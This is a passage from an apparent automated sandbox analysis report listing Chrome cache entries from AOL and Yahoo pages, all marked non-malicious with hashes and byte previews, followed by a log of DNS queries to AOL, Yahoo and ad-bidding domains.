SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 829

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:PUyESyY5hE:PUhu5hE
MD5:	5BF641491A20F2044C51558037392F1A
SHA1:	39676EF27B5C648C57313FAEE7BE8554EA58A4C0
SHA-256:	50BA226E057158000294A012063FE8A58EC82DCE44F29DF8A85A3B2130198ABE
SHA-512:	EDC014AA799F5129CCDE382DD4C28D4C362EDD8C15DED60169AE01A8440C6DB02E3C795F704431F615B4A95710C5E06AA01648E0893F6874C5A5A711015BC7AB
Malicious:	false
Reputation:	low
Preview:	..g......b......

Chrome Cache Entry: 830

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1425
Entropy (8bit):	7.52370749120203
Encrypted:	false
SSDEEP:	24:+8rIrr/g9kVm7w0LlUsOXTAgPDLvUXRygmxPi33ANSFoGGBo3ii/suo9n6hnYFpE:+8rIrr/dCLJOjT/Myvi33OSD3dZoU1YM
MD5:	46130E70FFCC1724EF199CC50D1BE90E
SHA1:	970532AE89F95E080E19AE8FEEB37F418D74F8C0
SHA-256:	120B3759B5DBBF42CEDDDF68A7A13233280476C1A907BE1FDC7B27CB04D8B3C7
SHA-512:	735865100BA8E98F6A2057DB96B738001CAC7C892B7879C3BB36B2EF7E9B2E85CB1E3E5F6B1AF3E8F113799B512761831834E053017138A537B1E00E972AC6B7
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F9OD88Iedd3JWl5h_W4111g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Frangers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=09bdc4657cedb149a942b53e9557602fa6a610d4
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL!;t...........!;t...!:t!;t?Og!;tANf............!;t!;t!;t!;s%?w!:t!;t!;t!;t!;t!;t?Og!;t...ANfANf............ANf@Nf!;t&?wANf......!:t...ANf@Nf...&?w";t>T.......!;t!;t......................ANf...ANf...........................!;t...ANf...)Ay...!;t............................%>v!;t.......................#(!;t.......c7[.JNi{.y.J.9>...'@w.'5.48.);Sg.%:r=S.......-2...,E{.........)=s6M..F\|..........(Ax<S.........o.....+DzI^.-E{$=v......U3\.....:8iL5_....{~1I~.=B#;t$>v.<@.%.La....<JF[..x{.../H}....15.Qc.rvz1M0:n..H...;R..&0.orr...\_89kz...psCz....,?/G}....;@...V[.\8^....4:mv0NT6^c4X.(4.$+.]a...g6Y.:>.+;........DAo.9G<9j.......FJ;;lG9f.8<.%.+:...`r.b7[.%,...%;s.Y\...{.I^q."<t....9J....&+5:l=7gM4_.r%O...ktRNS.`..l.s.Y.3..;./.n.4.....k<F.s..M... ....A...&&&....##.+........?.`c.N-...P..&.Z.-D.1..^.........j...g..3......IDATH.c`.v@...01E..;1.?X.`...,.?(_.hN...Ev$k.a.e.....`f..W'..i.\|..y.r....O_>..[.OK...[.-52.

Chrome Cache Entry: 831

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 782 x 313, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16340
Entropy (8bit):	7.836920581525234
Encrypted:	false
SSDEEP:	384:npV+CRmBsI0zkDxcF1ewq12cz+/SOLp09ilF09y7X0xXmYvk:B8ykq1eH12czVOLp09iPGyT0lm3
MD5:	F9E0F24B60732CD95150A37FB003B871
SHA1:	1F2D68CC8D4EF8EF9E0159B8A5D450A466595546
SHA-256:	F3E22262B472EE52E51E9F053856DAF9A3F7CE59DD66D51F201F1EE7FAAF5690
SHA-512:	64B0AE7AD0B84B0FC39EB90C11045AA5D920A1F5BD059ED599FC15ADBDC2AF73F2251F0D28A4508B8F09E040684966FC6112AE4DDC749DB2B83D4EA2BD3EB8BF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......9.....9.wq....sRGB.........iTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <xmp:CreatorTool>Adobe ImageReady</xmp:CreatorTool>. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>.)..=..=.IDATx....F..5g......#.N..#0'.A.H.@..H....LG 8.s".&..`...Mks.K...~z...Fwu.S.t......@...... ...@...... ...@...... ....%....J-.).... ..1....{.5.?..I....Oz&c.H..G.O.{.~../... ...@.....g....z.1<...Q&..@...... ....H..@K.K-.W..?.t.:.%H..@.......%@.PV._......8......... ...t%@..T..\..wc...4X.@... ...@....I..'........!...!...@...X....r.....{@..e........ ...@........nZ.v.L...o.8. ...@....@O.$.=.%...E?...sxN.m.@...... p.....@...........:.BtA...... .....8..../.,.r.y.

Chrome Cache Entry: 832

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	517061
Entropy (8bit):	4.599470149127304
Encrypted:	false
SSDEEP:	1536:FsuvU7uFIpqqSdeUl15Me4h2Krji3XD42Ru8mzZ/N/9xGXpssCxz2s3kH0Vi0VBN:d5T1f1Nm6lY5
MD5:	3D67F0F30B8148EC69A5723A60441085
SHA1:	AED64E445758A936A761CEDBDC07439A40175BC0
SHA-256:	32290CCF69F649D70713A0B39845E84DEF04446B6F5EBABC0DBA353D575072BD
SHA-512:	0D91C74429F1F3C74F737A83AA028152BE6935208D373690F81E49A7FCE4991036A901DF8F814C34B155F5F8D1D80905D8952BAA483782191BFF8A670A9A5DA1
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/weather.3d67f0f30b8148ec.js
Preview:	!function(L,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():L.CAAS_AOLCOM=e()}(self,(function(){return function(){var L,e={1631:function(L,e,t){"use strict";t.r(e),t.d(e,{paramCase:function(){return l}});var i=function(){return i=Object.assign\|\|function(L){for(var e,t=1,i=arguments.length;t<i;t++)for(var n in e=arguments[t])Object.prototype.hasOwnProperty.call(e,n)&&(L[n]=e[n]);return L},i.apply(this,arguments)};Object.create,Object.create,"function"==typeof SuppressedError&&SuppressedError;var n=function(){return n=Object.assign\|\|function(L){for(var e,t=1,i=arguments.length;t<i;t++)for(var n in e=arguments[t])Object.prototype.hasOwnProperty.call(e,n)&&(L[n]=e[n]);return L},n.apply(this,arguments)};function r(L){return L.toLowerCase()}Object.create,Object.create,"function"==typeof SuppressedError&&SuppressedError;var a=[/([a-z0-9])([A-Z])/g,/([A-Z])(

Chrome Cache Entry: 833

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 400x300, components 3
Category:	downloaded
Size (bytes):	22774
Entropy (8bit):	7.973858019532618
Encrypted:	false
SSDEEP:	384:qFdAvnxkUpLX//m7Ep/A5XPzllmiGezVlMwTUvR9bQ915fAtTG75VjBT9ph8zfJ:FnFHm4RAZhlmYVl0QH7LcfJ
MD5:	3EC6A815F36402D01F04FEC5D56AC4C8
SHA1:	CBD03D9823A635822D85ACA8C94B855A8FC721C6
SHA-256:	E3671BB8D54273EA7735B0659C4CBFFDCFCA4247443573B5031A9E765245CF91
SHA-512:	F9B7BF0B5AAD63EE7A3EE6791E0FCCCBDD6DDBEA71F40747CBE31DA8763417F2D82C9798CA0BEA2D8AE6A92CF264053F3D4905BAA6DCFDAD1AD16A756B790567
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_abc_news_articles_665%2Fce9119db9a6a3fd7ce671c453a67258b&client=76f99bdb8f78cd44cc0b&signature=ae1728db52d9d6fbb164d1ce325903df077d73f3
Preview:	......JFIF.............C........................... ."" ...$(4,$&1'..-=-157:::#+?D?8C49:7...C.......'..'Q6.6QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ......,........................................................................................'...D.k;.0.M......zn.b.K;.a.^)..B...zybF......I(...R..M.xg\...-.....g%jzy..%c...z.qjz..'_-......l.m..p].LBps.j..4..Z.K.k.....n6.4...X...x.Z.=(=8..<..........h&..:s....>.~t]^.:.1.]...nR....Nks$&.q...w.n.\...Dk..y...@.:e.r6'].&.m.XV....K....^.=.....go.<.....Y...m.3V<.n..... .Z.._rT.I......aH$.....\|..W.%e.G..j...<...Y...V:..M.HN..8V..w.5hx..)...C.k=V.....n.o..&.<.#C.4....s..Ss.K....~v...d..^...[...s.w...2m.iIe...J...F....o...V.m/8)n.V.c...'.6....Y.v..Y>.T....~..F..:#.y.ve.7.{...8.[.f'..?..U..-oG.l,.x6..J..SH3.X.GV..V.l{..k.xk:..x.!..u.5.9..:..F.....a.k...{p.......(..I..-.X.m..[...q....\|.Ze...N.=G..........r/...."..d..g\l3..n....D......[...Q..SBH`...c+:.y..UFMww.....\..F~^.L....G..z.-w.

Chrome Cache Entry: 834

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 400x300, components 3
Category:	dropped
Size (bytes):	24761
Entropy (8bit):	7.9775845473717055
Encrypted:	false
SSDEEP:	384:/8uZfXlULnI389mpaR+fN5DHhzJCHe4aTELG4s+jsNpJVL7fPj12+E:/88VULnIs9QI8N5bhd2LGZU47j1nE
MD5:	F4801DBAD3E499F858984FBB07651783
SHA1:	4CC4B7BC1348FB9F319B1478DBA3D5BB500B8BFE
SHA-256:	E444F74CE097E611EC9560DD28E3CC89DF072164F476E3673C297C65126B9C06
SHA-512:	C9A15CAD31746037A8A99E789252F6C6CA7E2D7BFC6D204AD54AF6504408D114F311B2F59C7932351EE3BA86C9018AC647716F82EB005212CA2D34CE1E2EC118
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................."......".$...$.6&&6>424>LDDL_Z_\|\|.............................."......".$...$.6&&6>424>LDDL_Z_\|\|.......,...."..........5.................................................................\.9\|.9u.>V..c.....>".....LG.j8".z.W...;/.......[.a....g.\.....G..9. .n.G!#b......>.tW.b;r.uJt..:...\4kMj.7.YuG......o......W2...@..5.\|v';L..#.).....:^.M_..U.).i`....\|..C..~..z#........]0-?.9. t<. ...:D'...9a.....2ek..4..r.y.uS....Mk7p...o..k..dH.e?...zg\WE...Z.'K:...L...8. ..NQ.k7.Z3.$..b.....\q.T..$....&..A#.;....{.{c_?.:.g@M.9.e..F... wJ.>Z.g>.q.........o..l.\.5..gr.-z..&...1D..>-c6.._%....-@7...t..6./Q#V<e.u.W..m.i0.Es\_P.....6/...S\..FJ.*........r...K7.6X...O}..?.G...?.>/.;......o+I....J..N....2....B.<.l.aOn.@g..OK<.z..ywV.Xx.....F.n^.S.W..I=..?.D.2.>..+..)U.t>.].v:yG{..T.D.'R...:NT^....,.O....m.J....~L`..\|....`../..C]../.]P....NS..k..... ..\...C#.4.........e.0..;h.].k...O..........S;..11.{.;.

Chrome Cache Entry: 835

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2464
Entropy (8bit):	7.772251083822923
Encrypted:	false
SSDEEP:	48:RZ0FTn2Q0rcG/VRTvcLJBGLvFq7IjXW9HIERaKqFya5F:v0p2Q0rcGzTvcK4n83y2
MD5:	03919E0797FC14EA543571A9CEB04838
SHA1:	1972B9B7025D1399CD4CB1AB2029AD1607F70D29
SHA-256:	7BFE9CB68015148061E0062F9917FC5C3353EFDC22CDFAD765B2D7B89B5451F3
SHA-512:	1CFAF42EC144405CFC867B3BA8FF1464E5EC8D449E961CD22065E7AAB9DBB276C516C170BD0FB4982CA61D011417E2EAF2E65EE832C09D19171F989E59BCA48D
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJXstQIXskrijadWN4CrVWw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200323%2F500x500%2Fbrewers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=56ba0bfafd8e5d4e164cb8997565cb39aeac59ae
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL../../../...../../../../../../...../../../...../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.(K.5..(L.5~.5}.+X../AGE.4z.Q.)O.3.2s./Q.+M.2.,Z..c.Kqg@.6.3SSC%4I.5,@_&:ZMOD.,J.7..3u+9H.0i\YB.2r.-_.3w.1n..7.)L3>G./g..;<DF.3..8XVCL]w..7.......-N 1I....4y...\|<3Fd.1.2>EF.S.q>ne@~o>.6..0l.-JRb\|...<Nk$8Y......CUq.0"2I.2...{n?9BF.5n{.Vf...0.v=GKE..0^ZB`\BFWs.2ibA5HfDIE...'6H...[j.=Ol......=].6)7H.1Rgu...<@Rncr......axl?..7.t=c^A.4./K.w=.,\..9.3.}<...1.6 5V.;GP`z......:...IZu......9Li......_n.VTC0Cb.6.z<../..;..87AG..;KND..:.1..T.....i.......]l......0QRD..........7_n.a\B....4{......O.2T....1....T..;.y=ui?.8..?..s..z......6@G..9jc@......s..b]B.......^...........k.Q...6tRNS.}..............bJ..Pp.....mi.X.<]x.&..6..3..,.....l.......IDATH..wX..../PdY....,.. .#.dC!...*3...P....A.[.{V.-.vj...o.........~..<.=..{..b...6.......^.=m..K{`...v.+.y...

Static File Info

⊘No static file info

Network Behavior

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 00:34:16.391319990 CEST	192.168.2.6	1.1.1.1	0x8667	Standard query (0)	testing-1g0.pages.dev	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:16.391490936 CEST	192.168.2.6	1.1.1.1	0x9573	Standard query (0)	testing-1g0.pages.dev	65	IN (0x0001)	false
May 24, 2024 00:34:16.976579905 CEST	192.168.2.6	1.1.1.1	0x1107	Standard query (0)	testing-1g0.pages.dev	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:16.976747036 CEST	192.168.2.6	1.1.1.1	0xecc7	Standard query (0)	testing-1g0.pages.dev	65	IN (0x0001)	false
May 24, 2024 00:34:18.281332016 CEST	192.168.2.6	1.1.1.1	0xaa93	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:18.281697989 CEST	192.168.2.6	1.1.1.1	0x4874	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
May 24, 2024 00:34:18.541244984 CEST	192.168.2.6	1.1.1.1	0x45f8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:18.541774035 CEST	192.168.2.6	1.1.1.1	0x4a83	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 00:34:20.070785046 CEST	192.168.2.6	1.1.1.1	0x3835	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:20.078084946 CEST	192.168.2.6	1.1.1.1	0x9125	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
May 24, 2024 00:34:29.175777912 CEST	192.168.2.6	1.1.1.1	0x5b93	Standard query (0)	www.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:29.175949097 CEST	192.168.2.6	1.1.1.1	0xb73b	Standard query (0)	www.aol.com	65	IN (0x0001)	false
May 24, 2024 00:34:30.942574978 CEST	192.168.2.6	1.1.1.1	0x9699	Standard query (0)	s.aolcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.942962885 CEST	192.168.2.6	1.1.1.1	0x72bd	Standard query (0)	s.aolcdn.com	65	IN (0x0001)	false
May 24, 2024 00:34:30.943705082 CEST	192.168.2.6	1.1.1.1	0x5415	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.943856001 CEST	192.168.2.6	1.1.1.1	0x132f	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
May 24, 2024 00:34:30.944475889 CEST	192.168.2.6	1.1.1.1	0x5e3d	Standard query (0)	consent.cmp.oath.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.944859982 CEST	192.168.2.6	1.1.1.1	0xc483	Standard query (0)	consent.cmp.oath.com	65	IN (0x0001)	false
May 24, 2024 00:34:30.945094109 CEST	192.168.2.6	1.1.1.1	0x5f10	Standard query (0)	beap.gemini.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:30.946557999 CEST	192.168.2.6	1.1.1.1	0x3b82	Standard query (0)	beap.gemini.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:31.004865885 CEST	192.168.2.6	1.1.1.1	0xf90d	Standard query (0)	beap.gemini.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.089518070 CEST	192.168.2.6	1.1.1.1	0xcbe3	Standard query (0)	3p-geo.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.089669943 CEST	192.168.2.6	1.1.1.1	0x1039	Standard query (0)	3p-geo.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:31.090223074 CEST	192.168.2.6	1.1.1.1	0x1017	Standard query (0)	guce.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.090548038 CEST	192.168.2.6	1.1.1.1	0x6208	Standard query (0)	guce.aol.com	65	IN (0x0001)	false
May 24, 2024 00:34:31.103148937 CEST	192.168.2.6	1.1.1.1	0x514b	Standard query (0)	o.aolcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.104058981 CEST	192.168.2.6	1.1.1.1	0xe631	Standard query (0)	o.aolcdn.com	65	IN (0x0001)	false
May 24, 2024 00:34:31.110223055 CEST	192.168.2.6	1.1.1.1	0xda47	Standard query (0)	jill.fc.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.111021996 CEST	192.168.2.6	1.1.1.1	0xbae1	Standard query (0)	jill.fc.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:31.131100893 CEST	192.168.2.6	1.1.1.1	0x18fe	Standard query (0)	yep.video.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.131273985 CEST	192.168.2.6	1.1.1.1	0x1ac1	Standard query (0)	yep.video.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:31.155668974 CEST	192.168.2.6	1.1.1.1	0x8137	Standard query (0)	beap.gemini.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:31.155836105 CEST	192.168.2.6	1.1.1.1	0x1560	Standard query (0)	beap.gemini.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:33.560283899 CEST	192.168.2.6	1.1.1.1	0x1504	Standard query (0)	report.edgecast.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:33.561444044 CEST	192.168.2.6	1.1.1.1	0x3831	Standard query (0)	report.edgecast.com	65	IN (0x0001)	false
May 24, 2024 00:34:35.663908005 CEST	192.168.2.6	1.1.1.1	0xcabc	Standard query (0)	s.aolcdn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:35.664261103 CEST	192.168.2.6	1.1.1.1	0xa7e8	Standard query (0)	s.aolcdn.com	65	IN (0x0001)	false
May 24, 2024 00:34:42.397981882 CEST	192.168.2.6	1.1.1.1	0xf1a1	Standard query (0)	guce.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.398471117 CEST	192.168.2.6	1.1.1.1	0xf25	Standard query (0)	guce.aol.com	65	IN (0x0001)	false
May 24, 2024 00:34:42.726625919 CEST	192.168.2.6	1.1.1.1	0x219e	Standard query (0)	www.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.726854086 CEST	192.168.2.6	1.1.1.1	0xb573	Standard query (0)	www.aol.com	65	IN (0x0001)	false
May 24, 2024 00:34:44.436129093 CEST	192.168.2.6	1.1.1.1	0x61c2	Standard query (0)	beap.gemini.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:44.483899117 CEST	192.168.2.6	1.1.1.1	0x28f7	Standard query (0)	3p-udc.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:44.484148026 CEST	192.168.2.6	1.1.1.1	0xac16	Standard query (0)	3p-udc.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:48.248394966 CEST	192.168.2.6	1.1.1.1	0x4b2b	Standard query (0)	video-api.yql.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:48.248580933 CEST	192.168.2.6	1.1.1.1	0xe69d	Standard query (0)	video-api.yql.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:49.405273914 CEST	192.168.2.6	1.1.1.1	0xbe92	Standard query (0)	membernotifications.aol.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.405515909 CEST	192.168.2.6	1.1.1.1	0x7b89	Standard query (0)	membernotifications.aol.com	65	IN (0x0001)	false
May 24, 2024 00:34:49.441468954 CEST	192.168.2.6	1.1.1.1	0x2369	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.441622972 CEST	192.168.2.6	1.1.1.1	0x2195	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
May 24, 2024 00:34:49.442023993 CEST	192.168.2.6	1.1.1.1	0x54b4	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.442169905 CEST	192.168.2.6	1.1.1.1	0xd121	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
May 24, 2024 00:34:49.597893953 CEST	192.168.2.6	1.1.1.1	0xdadd	Standard query (0)	i.clean.gg	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.598313093 CEST	192.168.2.6	1.1.1.1	0xef47	Standard query (0)	i.clean.gg	65	IN (0x0001)	false
May 24, 2024 00:34:51.004209042 CEST	192.168.2.6	1.1.1.1	0x382f	Standard query (0)	i.clean.gg	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.004524946 CEST	192.168.2.6	1.1.1.1	0x95dd	Standard query (0)	i.clean.gg	65	IN (0x0001)	false
May 24, 2024 00:34:51.604224920 CEST	192.168.2.6	1.1.1.1	0x72f9	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.604638100 CEST	192.168.2.6	1.1.1.1	0xeca1	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.605506897 CEST	192.168.2.6	1.1.1.1	0x42e5	Standard query (0)	idx.liadm.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.605675936 CEST	192.168.2.6	1.1.1.1	0x4ff8	Standard query (0)	idx.liadm.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.612139940 CEST	192.168.2.6	1.1.1.1	0x8e69	Standard query (0)	hbopenbid.pubmatic.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.612456083 CEST	192.168.2.6	1.1.1.1	0x1961	Standard query (0)	hbopenbid.pubmatic.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.617510080 CEST	192.168.2.6	1.1.1.1	0x92ea	Standard query (0)	prebid.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.617714882 CEST	192.168.2.6	1.1.1.1	0x9642	Standard query (0)	prebid.media.net	65	IN (0x0001)	false
May 24, 2024 00:34:51.645944118 CEST	192.168.2.6	1.1.1.1	0xc7d5	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.646378040 CEST	192.168.2.6	1.1.1.1	0xeec8	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.647142887 CEST	192.168.2.6	1.1.1.1	0xaeee	Standard query (0)	c2shb-oao.ssp.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.647449017 CEST	192.168.2.6	1.1.1.1	0x2c33	Standard query (0)	c2shb-oao.ssp.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.649097919 CEST	192.168.2.6	1.1.1.1	0xe875	Standard query (0)	bidder.criteo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.649369955 CEST	192.168.2.6	1.1.1.1	0x4f7e	Standard query (0)	bidder.criteo.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.651349068 CEST	192.168.2.6	1.1.1.1	0xf1fa	Standard query (0)	display.bidder.taboola.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.651494980 CEST	192.168.2.6	1.1.1.1	0x2191	Standard query (0)	display.bidder.taboola.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.652416945 CEST	192.168.2.6	1.1.1.1	0x7627	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.652617931 CEST	192.168.2.6	1.1.1.1	0xd8ea	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.653373003 CEST	192.168.2.6	1.1.1.1	0x5216	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.653546095 CEST	192.168.2.6	1.1.1.1	0x95df	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
May 24, 2024 00:34:51.662863970 CEST	192.168.2.6	1.1.1.1	0xa3a2	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.663162947 CEST	192.168.2.6	1.1.1.1	0xf9b7	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.664583921 CEST	192.168.2.6	1.1.1.1	0xa66d	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.664892912 CEST	192.168.2.6	1.1.1.1	0x54dc	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.694468975 CEST	192.168.2.6	1.1.1.1	0xeb63	Standard query (0)	rp.liadm.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.694801092 CEST	192.168.2.6	1.1.1.1	0x4b27	Standard query (0)	rp.liadm.com	65	IN (0x0001)	false
May 24, 2024 00:34:51.877022028 CEST	192.168.2.6	1.1.1.1	0xa584	Standard query (0)	ncp-gw-video.media.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.877258062 CEST	192.168.2.6	1.1.1.1	0x7bf6	Standard query (0)	ncp-gw-video.media.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:53.202466965 CEST	192.168.2.6	1.1.1.1	0x23c3	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.202915907 CEST	192.168.2.6	1.1.1.1	0x1f87	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
May 24, 2024 00:34:53.224553108 CEST	192.168.2.6	1.1.1.1	0x259f	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.224731922 CEST	192.168.2.6	1.1.1.1	0x20a3	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
May 24, 2024 00:34:53.228446007 CEST	192.168.2.6	1.1.1.1	0xc475	Standard query (0)	prebid.media.net	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.228446007 CEST	192.168.2.6	1.1.1.1	0x5063	Standard query (0)	prebid.media.net	65	IN (0x0001)	false
May 24, 2024 00:34:53.244395018 CEST	192.168.2.6	1.1.1.1	0xe889	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.244746923 CEST	192.168.2.6	1.1.1.1	0xbd8b	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
May 24, 2024 00:34:53.914908886 CEST	192.168.2.6	1.1.1.1	0x9512	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.915256977 CEST	192.168.2.6	1.1.1.1	0xb3c2	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
